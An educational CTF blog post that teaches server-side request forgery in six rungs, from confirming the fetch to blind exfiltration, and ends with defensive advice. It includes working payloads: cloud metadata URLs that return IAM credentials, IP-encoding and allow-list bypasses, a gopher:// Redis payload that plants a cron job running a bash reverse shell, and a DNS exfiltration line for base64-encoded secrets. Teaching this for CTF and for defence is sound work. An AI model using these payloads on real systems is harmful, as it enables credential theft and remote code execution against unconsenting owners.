June 3, 2026

SSRF for CTF: From localhost Pivots to Cloud Metadata

Server-Side Request Forgery for CTF, explained as one question: whose network does the server trust? The ladder from a url= parameter to 127.0.0.1, cloud metadata, and gopher RCE.

Introduction

The first time someone handed me a ?url= parameter on a link-preview feature and asked what I'd do, I pasted in the one payload I'd memorized, http://169.254.169.254/, and got back a blank page. The box wasn't on Amazon Web Services (AWS). My one trick was useless, and I had no idea what to try second.

Here's the through-line nobody drew for me. Server-Side Request Forgery (SSRF) isn't a payload you memorize. It's a question you ask: whose network does the server trust that I don't? The server can reach its own loopback interface, the internal subnet, the cloud metadata service, the unauthenticated Redis on port 6379. You can't reach any of that from the outside. SSRF is the act of borrowing the server's network position. Every "SSRF payload" you've seen is the same move aimed at a different trusted thing.

This piece is a ladder. Confirm the request actually fires, point it at localhost, sweep the internal network, reach for the cloud metadata service, slip past the filter when it blocks you, smuggle a second protocol through gopher://, and exfiltrate out-of-band when the response never comes back. Each rung assumes the one below it. By the bottom you should be able to look at any URL-fetching feature and know, in order, what to try.

If you can't tell whether a url= parameter is exploitable in two minutes, you're leaving some of the highest-value web challenges, and some of the most expensive real-world breaches, on the table.

The bug is a confused deputy

PortSwigger defines SSRF as "a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location." That's correct and forgettable. The version that sticks: the server is a deputy with a badge you don't have, and SSRF tricks it into using the badge on your behalf. Security people call this the confused-deputy problem, and it's the whole bug.

Why does pointing a request at 127.0.0.1 from outside accomplish anything? Because, as the same PortSwigger page puts it, "requests originating from the local machine are handled differently than ordinary requests." An admin panel bound to localhost assumes that anything talking to it already cleared the front door. An internal API on 10.0.0.5 skips authentication because it's "not reachable from the internet." The metadata service hands out credentials to anyone on the box because being on the box used to mean you were trusted. SSRF makes all of those assumptions false at once.

Where the sink lives in the code is boring and always the same: a feature that fetches a URL you control. Link previews, webhook validators, "import from URL," PDF and screenshot generators, image proxies, RSS readers, XML parsers that resolve external entities. The developer wrote requests.get(user_input) and never imagined user_input could point back inside.

SSRF is not a payload. It is the server lending you its network position, one request at a time.

Rung 1: Confirm the sink actually fires

Before any clever payload, prove the server makes the request at all. This is the rung beginners skip, and it's why they spend an hour on a parameter that was never a sink.

Point the parameter at a host you control and watch for the hit. The cleanest tool is an out-of-band listener: interactsh or Burp Suite's Collaborator give you a throwaway domain that logs every DNS lookup and HTTP request it receives. If you'd rather use your own box, a one-line listener works:

# On a host you control (your VPS, or ngrok):
nc -lvnp 80
# Then point the target's fetcher at it:
POST /api/preview url=http://YOUR-HOST:80/canary

If /canary shows up in your listener, the sink is real and you know three things at once: the server fetches your URL, you can see its outbound IP, and you'll learn whether the response is reflected back to you or swallowed. That last detail decides everything downstream. A sink that echoes the fetched body into the HTTP response is a full SSRF; one that fetches silently is a blind SSRF, and you'll work that one differently (Rung 6).

One reaction I still remember: the first time a Collaborator pinged back from a server I'd never get a shell on, it felt like I'd slipped a note under a locked door and watched a hand reach out to take it. Confirm the sink. Always. It's the difference between exploiting a bug and arguing with a 404.

Rung 2: Point it inward

Now aim the server at itself, then at its neighbors. The two addresses that matter first are 127.0.0.1 (the loopback the server uses to talk to its own services) and the private ranges its subnet lives on (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

url=http://127.0.0.1/
url=http://127.0.0.1:8080/ # internal admin panels love 8080
url=http://127.0.0.1:6379/ # Redis
url=http://localhost/admin
url=http://10.0.0.5:9200/_cat/indices # Elasticsearch, no auth

You're port-scanning from inside the perimeter, using the server as your scanner. Even a blind sink leaks the answer through side channels: a connection to an open port returns fast, a closed port refuses immediately, a filtered port hangs until timeout. Response length and status code do the rest. PortSwigger's back-end SSRF lab is exactly this, a request to an internal 192.168.0.x admin interface that the front end would never expose.

The ports worth sweeping are the ones that ship with no authentication because they assume a trusted network: 6379 (Redis), 9200 (Elasticsearch), 27017 (MongoDB), 2375 (the Docker daemon, which is root-equivalent if exposed), and whatever the app's own admin service runs on. Finding one of these open internally is often the entire challenge. The flag is sitting in an internal service that simply assumed nobody could knock.

My rule: before anything cloud-specific, spend five requests mapping the inside. The metadata service is famous, but plenty of CTF authors hide the flag behind a localhost-only Flask route because it's simpler to build and just as instructive.

Rung 3: 169.254.169.254, the cloud skeleton key

Here's the rung that made SSRF famous. Every major cloud runs a metadata service at the link-local address 169.254.169.254, reachable only from the instance itself. Ask it nicely and it tells you who the instance is. Ask it for the right path and, on a misconfigured box, it hands you the instance's identity credentials.

# AWS IMDSv1: a plain GET is all it takes
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# -> AccessKeyId, SecretAccessKey, Token. Game over.

That last response is temporary AWS credentials for the role the instance runs as. Feed them to aws s3 ls and you're browsing buckets. This isn't theoretical, and it's worth knowing the receipt cold because it's the reason your CTF challenge exists.

That rebuild is the most important thing to understand on this rung, because it changes what works. AWS calls the new version Instance Metadata Service Version 2 (IMDSv2), and it defends against SSRF on purpose. To read metadata under IMDSv2 you first send a PUT to /latest/api/token with a X-aws-ec2-metadata-token-ttl-seconds header, then pass the returned token in a X-aws-ec2-metadata-token header on every GET.

Google Cloud did the same thing a different way. Since 2019 the GCP metadata server at metadata.google.internal (also 169.254.169.254) refuses any request that lacks the header Metadata-Flavor: Google and rejects requests carrying X-Forwarded-For, per Google's own metadata docs. Azure's Instance Metadata Service wants a Metadata: true header and an api-version query string. Same pattern everywhere: turn metadata access into a header a plain fetcher won't add.

So why is this still on the ladder in 2026? Because IMDSv1 was only made optional, not removed. Plenty of instances still allow it, legacy images default to it, and almost every CTF challenge that teaches metadata SSRF runs IMDSv1 on purpose. The technique is alive precisely where it's being taught. The mental model to carry out of here: the payload was never the skill. The skill is recognizing what the target gates on, and IMDSv2 made the gate a header you have to forge, not a string you have to remember.

Rung 4: When the filter says no

Eventually a developer notices SSRF and bolts on a filter. Almost all of them are wrong, because they blocklist the string 127.0.0.1 or 169.254.169.254 and forget that an IP address has a dozen spellings. PortSwigger's bypass list is the canonical set, and every entry is the same idea: write the same address in a form the blocklist didn't anticipate but the network stack still resolves.

# 127.0.0.1, six ways:
http://2130706433/ # decimal
http://0x7f000001/ # hex
http://0177.0.0.1/ # octal
http://127.1/ # short form
http://[::1]/ # IPv6 loopback
http://localtest.me/ # public domain that resolves to 127.0.0.1

When the filter is an allow-list instead (only fetch from trusted.com), the moves shift to confusing the URL parser about which host is authoritative:

http://trusted.com@169.254.169.254/ # credentials trick: real host is after the @
http://169.254.169.254#trusted.com # fragment: real host is before the #
http://trusted.com.evil.com/ # the allow-list matched a prefix, not the domain

The strongest bypass isn't in the URL at all. It's DNS rebinding: register a domain whose DNS record returns a public IP when the filter checks it, then flips to 169.254.169.254 a second later when the server actually connects. The validator and the fetcher resolve the same name at different moments and get different answers. It defeats any check that validates the hostname and then re-resolves it, which is most of them.

The lesson the defenders keep relearning: you cannot blocklist your way out of SSRF, because the set of ways to write "localhost" is effectively infinite. The only correct defense is to resolve the address and check the resolved IP against an allow-list, then pin that IP for the actual connection. CTF authors know this, which is why the bypass is usually the intended path, not a lucky accident.

Rung 5: gopher:// and protocol smuggling

So far every payload has been HTTP. The escalation that turns "I can make the server fetch a URL" into "I have a shell" is realizing the fetcher might speak more than HTTP. If the underlying library honors gopher://, you can make the server open a raw TCP connection and send arbitrary bytes, which means you can speak any line-based protocol: Redis, MySQL, SMTP, FastCGI.

The classic target is that unauthenticated Redis you found on 127.0.0.1:6379 back in Rung 2. Redis takes plaintext commands, and Redis can be told to write a file anywhere it has permission. Chain those and you write a cron job that calls back to you. Gopherus, by Tarun Kant, generates the gory URL-encoded payload for you:

python3 gopherus.py --exploit redis
# It emits a gopher:// URL encoding the raw Redis commands:
# FLUSHALL
# SET x "\n* * * * * bash -i >& /dev/tcp/YOU/4444 0>&1\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# SAVE
url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A...

The server receives your gopher:// URL, opens a TCP socket to its own Redis, and replays your bytes as Redis commands. Redis writes the cron file. A minute later the box connects back to your listener as root. A URL-preview feature just became remote code execution because the fetcher was a little too willing to speak a 1991 protocol.

Two things gate this in practice. The fetching library has to allow non-HTTP schemes (Python's requests does not; curl-backed and some Java clients do), and the internal service has to be unauthenticated or weakly configured. When both hold, gopher:// is the single highest-impact move in the SSRF playbook. It's the rung that connects this guide to command injection: both end in code execution, they just start from different doors.

Rung 6: Blind SSRF and out-of-band exfil

Sometimes the server fetches your URL and shows you nothing. No response body, no error, no length difference. That's blind SSRF, and it's where Rung 1's out-of-band listener stops being a confirmation tool and becomes the exfiltration channel.

The trick is to route the secret through a request the server makes to you. If you can reach an internal service that returns data and you can chain a second request, smuggle the loot into a hostname or path that hits your listener:

# Pull an internal secret, then exfiltrate it via DNS to a domain you control:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role
-> feed the response into:
url=http://$(echo -n SECRET | base64).YOUR.interactsh.com/
# Even with zero reflection, your DNS logs now contain the base64 of the secret.

When the application won't let you chain like that, you fall back to inference. A blind sink still leaks timing and reachability: open ports answer faster than closed ones, a valid internal path returns a different response time than a 404, and a service that exists changes the latency of the whole request. It's slow and it's noisy, but a binary oracle plus patience reconstructs an internal map. Burp's Collaborator was built for exactly this, and it's the reason blind SSRF is reportable rather than theoretical.

Side note: the highest-paid SSRF bug bounties are almost all blind. The reflected ones get patched fast because they're obvious in testing. The blind ones survive into production, which is where someone pays you five figures to find them. One Yahoo Mail blind SSRF paid $15,000, and it ended in a gopher:// payload from Rung 5.

The pattern behind every SSRF

Here's the whole ladder side by side. Read it top to bottom the next time a URL parameter stares back at you.

RungWhat you aim atWhat it gets you
ConfirmA host you controlProof the sink fires; full vs blind
Localhost127.0.0.1 and private rangesInternal port map, hidden admin services
Metadata169.254.169.254Cloud IAM credentials (if IMDSv1)
BypassAlternate IP encodings, DNS rebindingPast the blocklist or allow-list
gopher://Internal Redis / MySQL / FastCGIRemote code execution
Blind / OOBYour DNS or HTTP listenerExfil and inference with no reflection

The frustrating part, same as it is with Local File Inclusion, is that none of this is a list of tricks to memorize. It's one design fact explored through different targets: a feature that fetches a URL has the server's network trust, and the server's network trust is worth more than yours. Every rung is the same question pointed at a more valuable thing.

The defense follows directly and it's the same in every language. Don't blocklist hostnames. Resolve the URL, check the resolved IP against an allow-list of addresses you actually meant to reach, reject anything in the loopback, link-local, or private ranges, and pin that IP for the connection so DNS rebinding can't swap it. Disable non-HTTP schemes in the fetching library. And on the cloud side, the lesson Capital One paid $80 million for: enforce IMDSv2, and give the instance role the narrowest permissions that let it do its job.

The next time you see a url= parameter, don't reach for a payload. Ask whose network the server trusts, and start climbing.

Related picoCTF writeups

Cancri SP is the site's clearest SSRF-to-internal-service methodology; SOAP reaches the same trust boundary through XML external entities, the parser-side cousin of SSRF.